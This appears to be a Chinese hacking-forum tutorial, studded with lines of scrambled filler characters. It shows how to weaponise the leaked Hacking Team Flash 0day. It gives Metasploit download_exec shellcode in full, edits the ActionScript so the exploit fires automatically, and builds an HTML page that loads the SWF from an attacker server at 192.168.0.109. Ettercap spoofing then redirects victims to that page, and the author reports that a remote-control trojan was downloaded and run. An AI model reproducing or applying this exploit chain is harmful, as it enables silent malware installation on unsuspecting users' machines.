3 u# t; s7 h" ^: V6 R
三、flash 0day之手工代码修改制作下载者实例入侵演示 : H: y7 Q$ `+ H. `& M
/ p; F' n# H+ V1 V( v
& q. F$ E8 I0 I8 x2 ^ 利用到的工具:
+ x1 Q+ d4 {) e
% }4 z& V& A6 m& Z9 W1 i5 |5 X+ l0 C# h/ u
Msf # e% V3 ?; y# n+ {& I3 T
$ r8 P9 Z& K- V: y2 w
5 i6 [8 h- F! k* b Ettercap 7 {" f) E5 \5 U7 U: s6 @5 J
* s6 M- H9 }2 w% Q# J1 v: J. O
' p5 t# c5 R% b$ G+ C Adobe Flash CS6
0 o0 K# T x, u' u
4 b0 h5 r1 w* |$ a: ~) c" n) C( y' m& n( H- F7 F
Hacking Team Flash 0day-可冲破Chrome沙盒-Evil0X源代码一份
+ a: A5 f! q: g! j8 x( Z
& D' H5 Z. h7 \: D, a6 [
) v" i5 S1 U4 X7 z- `$ @- H 下面我们就开始演示入侵,利用msf生成shellcode,首先打开msf执行use windows/download_exec,show options
* v; W/ f( i: G. b' A8 U) ^
5 q! W, y: e7 o( J; e. X' g
6 v( c* ~, [4 F/ w 如图: 6 M* d9 `0 O/ `3 m
, B' p) J* w% ]( ^ z3 @6 Z; w/ y
; o0 s1 S% B# U7 W& u ! }7 ^4 q# Z9 z- E$ }
% t& }; W% [" p: S
2 X( x2 K9 c& y% y v$ |5 K" X! t
$ e' `! u0 N& i5 h ^ $ `. b/ C% I8 B0 ~
3 R: w& r' ]. N% L4 H/ n% q+ {: ~ 然后set EXE system.exe,再执行set URL,需要说明一下URL就是我们的马的下载地址,这里我们用远控马,远控配置使用不再详细说明。。。如图:
/ c. j, h( ~( i& i" b/ z) ?- y 5 z, j: d t' m5 C& K! C
- e! f6 y! Y" X ' e# K6 g# H) J) I* Q5 L) L% @
0 K" ~9 `. C/ J) W* v2 F4 o0 R" { d
* k* N/ f+ m1 A4 i- i4 r- D , j7 o2 ~" {. w0 ` p/ D
- b# Q8 ?% {+ y1 ]1 I% _
然后执行generate -t dword生成shellcode,如下:
5 u+ @0 c( P L- U/ Q9 x- Q8 E! b 6 G$ Q7 D( h6 g5 C( i4 w
) `+ m% s+ U2 x/ o$ ?- V! J
! @1 ?4 o# [4 s( a0 z3 X0 W' K/ G
& F! }4 |3 n q/ z- F* C! z+ j8 v1 U8 A9 V; a* H, S' p
复制代码到文本下便于我们一会编辑flash exp,如下:
9 b& B4 m4 N. o8 ^5 K, J8 W
1 p! C/ c9 r% F; n9 J! `, K8 X! O8 b# B# Q0 B$ P N' P
0x0089e8fc, 0x89600000, 0x64d231e5, 0x8b30528b, 0x528b0c52, 0x28728b14, 0x264ab70f, 0xc031ff31, . ~3 O* b9 L+ s+ p7 u
1 i. X# I% o3 n% s4 W0 R' c; H
' x& ?) J6 d% y! V 0x7c613cac, 0xc1202c02, 0xc7010dcf, 0x5752f0e2, 0x8b10528b, 0xd0013c42, 0x8578408b, 0x014a74c0, 4 D. F3 S, g( f7 g% Z5 f* Y# _
; ~7 W) s9 A0 i& r: ?$ G$ b z
1 v* P7 q3 Y b$ l. [3 O# W
0x488b50d0, 0x20588b18, 0x3ce3d301, 0x8b348b49, 0xff31d601, 0xc1acc031, 0xc7010dcf, 0xf475e038, - X5 o! O. n% g
7 y+ s: K4 n3 v) ^9 L0 P* `
" j1 \: |, z) c6 v$ i+ Q- ?5 G 0x3bf87d03, 0xe275247d, 0x24588b58, 0x8b66d301, 0x588b4b0c, 0x8bd3011c, 0xd0018b04, 0x24244489,
, O( z* v% l/ o2 E q % s3 a' P1 v3 @
3 B" r$ N0 t* H) {2 I4 Z+ V, R
0x59615b5b, 0xe0ff515a, 0x8b5a5f58, 0x5d86eb12, 0x74656e68, 0x69776800, 0xe689696e, 0x774c6854,
: g3 U; C( t! B. B ( G% }& x, @- J, J7 E/ u
3 Z1 ~+ R8 X. b" k/ }$ l, U1 e1 S; J% G
0xd5ff0726, 0x5757ff31, 0x68565757, 0xa779563a, 0x60ebd5ff, 0x51c9315b, 0x51036a51, 0x53506a51, ( Y6 g( @& a9 b6 q/ B
k. s5 m& t& T: @9 a! M* d
# _5 {" v% Y2 ?) P; l5 m. B 0x89576850, 0xd5ffc69f, 0x31594feb, 0x006852d2, 0x52846032, 0x52515252, 0x55eb6850, 0xd5ff3b2e,
5 G b% L$ A/ P; P3 Z
9 t& B2 a3 k6 P! I _; {7 v# K
8 z* D7 \- s$ O4 X2 H) s; g: K 0x106ac689, 0x3380685b, 0xe0890000, 0x6a50046a, 0x7568561f, 0xff869e46, 0x57ff31d5, 0x56575757,
6 X! J! E+ m2 T3 {9 L$ d9 Y' z1 s ' j0 j& {% ]* r6 @5 H. ?
! a$ R: T' ?, {# \* f
0x18062d68, 0x85d5ff7b, 0x4b1f75c0, 0x007c840f, 0xd1eb0000, 0x00008ee9, 0xfface800, 0x732fffff,
8 q& J j0 o7 {' K& Z% t1 _
5 t4 C) K9 p. w, p; N
4 d, u3 Q2 A3 H2 q4 I8 I 0x65747379, 0x78652e6d, 0x6beb0065, 0x505fc031, 0x026a026a, 0x6a026a50, 0xda685702, 0xff4fdaf6,
3 l! }$ B/ K# U1 S/ y/ z
: u9 n1 C r" I+ F9 o$ @% g, T3 A3 s+ f8 Y+ ~
0xc03193d5, 0x0304b866, 0x8d54c429, 0x3108244c, 0x5003b4c0, 0x12685651, 0xffe28996, 0x74c085d5, 2 W; e' L6 T$ G( U, e
& Q; u4 N; j5 |! c% ?0 G& C. s
/ A( N/ O) w( [, h/ L$ S, a 0xc085582d, 0x006a1674, 0x448d5054, 0x53500c24, 0xae572d68, 0x83d5ff5b, 0xceeb04ec, 0x96c66853, . ?; f( n- t! b9 @% G
2 k; r3 ~ H x6 |! r* N
9 A% j( E6 C4 j/ M+ X
0xd5ff5287, 0x6857006a, 0x876f8b31, 0x006ad5ff, 0xa2b5f068, 0xe8d5ff56, 0xffffff90, 0x74737973, * v7 F3 g$ ]1 l/ E$ X
( T0 d1 Y @- E6 o3 N0 J9 `) |
$ M6 N5 g7 r1 _7 W 0x652e6d65, 0xe8006578, 0xffffff08, 0x2e737378, 0x64696162, 0x6b682e6f, 0x00000000
' ^# K# b* ^( A) e6 k# u3 \
$ v* P1 Z+ I& G R# R
6 J" f# D% G6 H g * ?- p$ r+ C3 M. J% O0 G
* \6 R4 W. m; v: e* L- i+ z+ ]; d# C/ ]4 x$ ^5 |' z& t0 A L
0 M2 f1 M- n# Y2 N# [% Q
5 ^- j2 C( U. s/ n7 ]
1 b7 ~: I6 Z$ T- i$ e4 G8 Q
下面我们来修改flash 0day exp,需要修改三个文件,分别为:
" N/ q; f: P$ O1 l3 \+ w
* b9 V- q/ W' e* r& t5 \! |4 L5 I; l- d5 [: t( E1 E' H
. E" A8 g, O/ U6 W! o/ }" ^
; v0 H7 a Z4 C; p1 G* Y" l# _( x" a+ C: C7 o+ Q& ]
先修改ShellWin32.as,部分源代码如图: ! U0 @/ t* I( _2 ?7 Y8 X
u+ K( x' y$ i* X/ R! b+ E, @5 \% n3 z; k5 `! S
/ u1 g# T5 w* f# n% B {- V; D$ b9 @: z" T3 f
0 j* u2 M& l) d- u" O4 t 我们需要把标记处[]中的代码改成用msf生成的代码,修改后如下:
& y8 [! c% |$ q% U1 E( i 9 c7 D% y& n7 A v& \
6 Q0 o4 D$ q' _' P5 b " E9 |$ q( f7 r5 M& P- n
: p4 L F) e: v- [- w+ \6 K$ n6 A% A( U ^/ F
然后保存,ShellWin64.as的修改方法如上述,不再演示,下面我们来修改myclass.as,这里需要说明一下,因为此exp生成的利用程序,不能直接自动触发flash漏洞,也就是需要点击按钮才可以,实际上在做渗透的时候需要把它搞得更完美,所以就需要修改,修改方法:搜索myclass的某个字符doc.addchild(btn);如图: 0 v& t7 h0 s1 [, i$ w
, N+ Q" C: x+ Z Z6 w* [7 s& _9 e- n* H- h6 _+ ~
; f( H2 d4 |( ]% }4 x # `" O% S! H7 S3 V# e
/ o/ E* E. j+ l9 g; K1 V" ] 换行在后面加一句TryExpl();注意是l不是数字1,然后如图: # s9 w8 f! ?' R1 Q, `# r
" B& Z# `2 `1 a7 Z9 Z: m/ X
* W$ A1 w$ R) j5 c% T
; |) Q7 ^0 q$ J! g" W! c
6 g% S \1 Q* l$ \/ d0 O
+ i, X& f0 [! `+ S6 n" U9 z8 P
3 P" o1 z6 T9 O2 p* I% S; o7 a
m1 X J0 i+ p) P" f! w4 g$ x( [$ ^
0 H2 Q9 E: B% X% t' R
5 u) _/ }3 r5 C; w9 O. B' E3 {
- J) _5 i5 U, b/ ]- Y. V5 D" Q1 z2 F
然后点保存,下面我们来编译一下,打开
) g. i A& {8 y- j : ?' Y) o+ k* h/ ~
) M+ M% e8 @% @9 [ exp1.fla然后点文件-发布,看看编译没错误
" o% ]8 D! ?$ }: q9 E: a+ K
+ m( w1 a" j0 N) W3 o; q
! ~9 A1 L i, }! j' t1 N7 ~
# ~8 L( [# c8 f0 [" I6 J) d ! ~3 b) O/ q- c. v! E, k; Z
* o6 O1 v' o* ^( Y2 m+ N2 j
# W) B5 a/ a: D2 D; a( e0 q- ?0 ~0 v$ B6 U7 [
; ?; V# X" a4 V+ b3 z2 n6 k) l) k5 b* q. J5 o5 ]
i6 _. t, K0 D( A( F ( ~1 l: i' H, h! ^! @; I& t9 H, u% `
: e+ t- W6 s2 p: Y% e
$ G3 z! X. C$ l- V/ ?9 n $ ], g4 \. U" N: I- H
: K4 K" X5 V9 C b2 a. Q3 x* q4 O/ ^
然后我们把生成的
' R1 N% ^: K/ l5 ]/ g n+ J, M# S9 J3 u
( I m3 s5 w% ^% S exp1.swf丢到kailinux 的/var/www/html下: $ j$ h* @: K& Q6 ]9 L7 r1 y5 T6 Y- R
/ r- Y! y6 G+ t! {+ u+ y4 W2 p! W8 R* `5 E* x* M' M/ [5 t) W( `
然后把这段代码好好编辑一下 $ g+ [) v. p$ I( S5 u5 l# C
- @. h% t" K# j& R, D% f
1 q* A: u/ v# M( g + o& E; k5 }8 H! q8 v4 M4 C2 o# _
% t" B+ y0 ?- D* r
7 t7 ^: H- T/ h
. x0 A# s; S* g; B' B$ ~ ( \- w4 a3 ~6 \% i6 j
$ | ~! A! r0 y. m! U. e: t0 |. J
( j3 z: A* C3 Q$ O' H$ p8 } & i. m6 P/ L8 o9 @" w8 I+ U* M6 ~- O
3 a1 P6 Z0 M2 ~* a q 7 q3 L$ p6 z( I# q; N1 w2 U
% G5 G5 h4 t4 t2 {; u% F& A$ ]3 i
* ~2 W* h( e' {; |# ` f) i * G5 o, M3 }+ F. F1 P- H9 H
% D, B: }% N/ m" r- T; e# q/ ?; t- d% W5 _* q5 y0 F
: b4 s! R( y" [' e: l
3 h8 U. U% t# O' P* _( w
$ |4 @* j' \" q) E <!DOCTYPE html> 7 s5 T0 o7 y( \! z
+ [3 W) O+ Q! e7 _% E0 t+ Z( h- x, L0 Q& h6 _! S
<html> ! x! N: l3 S4 N" A: D3 N( R
' D9 C7 D3 D7 v9 J8 H9 |' k1 w4 t
) I7 K+ d5 v7 G) J/ F" v- S6 G <head>
/ N) J$ d% k: ]8 D5 v% E3 g
* i" A/ g# [8 A3 h
% P% R E- {6 M+ m <meta http-equiv="Content-Type" content="text/html; ' w6 Z! \2 t1 `; Y V% l. a# q
% N4 @4 N4 y) ~' K' T B- J
) u$ k% C/ X$ [" W, @, X charset=utf-8"/> ( {! d: p2 h$ a9 |& Z3 M" j
E9 x+ j* L2 O7 Y0 q
" @% {8 J A ?' _ ] </head>
$ B& a" g/ `! p# O8 s5 B 5 D6 S, A( Z w, ?, j7 x
$ H# A5 } x; F. |6 y( N" H" V
<body> * b8 N8 g. j: `3 Z
, C. G/ b, A, ?6 o) {1 M; a0 C, j+ g- ]* Q. e( @
<h2> Please wait, the requested page is loading...</h2> 3 \4 y% K. G# t$ i
* Q; k, Y7 P$ L" u( L& W! T# W" ^+ u; Y7 f
<br> : O8 C+ ~( {6 g* J. ]8 s4 _ e
! n b$ Q7 ~; B$ |/ B, e
$ p$ w: z: b; o <OBJECT
D& p. n& W' a' q( n, q2 T2 [8 s5 g - p. X# `9 N& Z# t" s6 h5 R
# S9 l- ^& R5 s& U, G+ G. Y
classid="clsid27CDB6E-AE6D-11cf-96B8-444553540000" WIDTH="50" HEIGHT="50" id="4"><ARAM NAME=movie
. G, }& k9 b6 G4 _ ' {6 h, O ^4 M# i1 {/ Y
: \$ ~- o8 y- @& [- s4 O VALUE="http://192.168.0.109/exp1.swf"></OBJECT> + E7 r$ P5 y& g. Q
2 [: C- p) B& F c0 V. ]5 I0 D# H, O: z- K' N y
</body> / q: U4 L0 j7 e% S
' ~0 Q2 d# V7 b. l1 o( W7 Y5 T+ j7 D) ?, l+ j3 {
<script> ' C, P* u k- T
# G, v. E6 s8 O
- Q7 v3 ~& \& ^0 g5 {& \ setTimeout(function () { # [+ }4 B8 r9 M' n# X: w
! T4 e. h* }! M, }3 `+ W: J& t9 G5 u$ f
0 t2 r8 F2 ^: ` 4 A( Y4 i# V$ N6 l I% E4 t" W# G
/ `* w8 k% i/ A. r; }; | window.location.reload();
% g# h' }- a7 X/ u: T+ N# k6 G6 W
/ k# w/ H; i/ |5 w1 R& \0 P6 m+ a; k% G6 z6 w! D8 L5 D$ P4 ]
}, 10000);
5 |! }4 X8 L3 b( S" o- e3 Y : f/ `' k6 `6 c0 _/ v
% j" c* h$ _# V) p. x4 Y , b+ Z' X! f% }/ z
4 N8 ]; F, e/ w6 l3 w- l" o* _. L' F
6 `) B' s7 e9 C# H0 r </script>
6 I& ^0 l9 E( c3 H: a a 0 v% H, D6 H4 n% u# E
* u0 x6 y7 ~% z" \
</html> * o, l7 ]& T; u
a! X3 H8 n5 m& A9 n
7 Z3 n% ]; x( R+ v/ R& n0 f$ Q# b
. w, D5 m. x2 S1 M: Y, I
. `( H: _+ J3 v t2 A
+ k4 ]+ Y* i+ v6 t7 e
注意:192.168.0.109是kali的ip地址,这时候我们需要service apache2 start启动一下web服务,然后将上面的html保存为index.htm同样丢到kali web目录下,测试访问链接存在如图:
' `; P" ~9 r p3 w. e
1 m+ K! Q7 [* T& Q
$ s$ Z- N' F+ b9 Z' `8 `9 f
+ m f' m3 [% ~$ t9 k
, S( F! o# q/ L I3 r) p' k U' F$ {& b$ X
9 z( I4 b+ D4 n * r+ V$ \4 V: ~# q% x8 W c
; Y: U; o. z- e* W, O
' K+ l9 H9 [. N) _; i v4 x 8 F+ }$ [3 j! M' Q! O5 h" B! B
- h6 t1 w) e" O) {9 H
' z9 h( J+ l# q! N% N- W ( r7 d8 C; S; r, n9 h& G
( O/ r3 L3 H3 W 3 m! w4 p5 w2 b0 u
! |+ f2 `) j& R' D4 f/ n- Z; h' N
. q5 K# O# Y* ]; P2 ~ 下面我们用ettercap欺骗如图: ! `& w# o: Y8 t4 a
% f3 b, Y; ?# T4 [9 o, z( J
# `: c: J/ T+ W# X: q1 b$ N
/ ^1 a6 a+ z% T4 A" W( @
4 M' Z! Y6 u- O# _1 Z4 N, G6 y+ }2 L7 L- v
+ I& l+ Y8 h& X9 s, U- W% i
' s. e8 g/ H; ]- p+ A6 T# E
- T9 G7 J1 C: {% e7 Y2 p 下面我们随便访问个网站看看:
! ^2 R6 L3 G$ |) p9 ?) p) q9 A
& A0 M- m' N: m' E Q
$ q5 h( p5 }: \1 a' b/ ]+ H/ J 我靠我发现直接用ettercap欺骗物理机装了腾讯管家照样可以欺骗成功,如图: " K2 V6 M: X) t4 I3 p/ U" o0 U
5 `" H# E" h, Q' u: { ?& _
) D1 K5 M( Y2 z, [8 x* P7 p, X
0 b& ?* o0 X1 N& a7 s+ p# S
) Y: @5 v' F% v) |$ E6 c9 N
! X3 T4 l) f1 Y# x% ?6 c4 {# R+ t; h
我们看另一台, - P8 c/ L% h+ S& p9 f) f8 q
* u) C8 g" \! P; [4 G
8 d+ Q4 ? h. S! l- d! N0 @
提示这个错误,说明木马是成功被下载执行了,只是由于某些原因没上线而已。。。
5 I3 V0 V q8 a0 k/ H |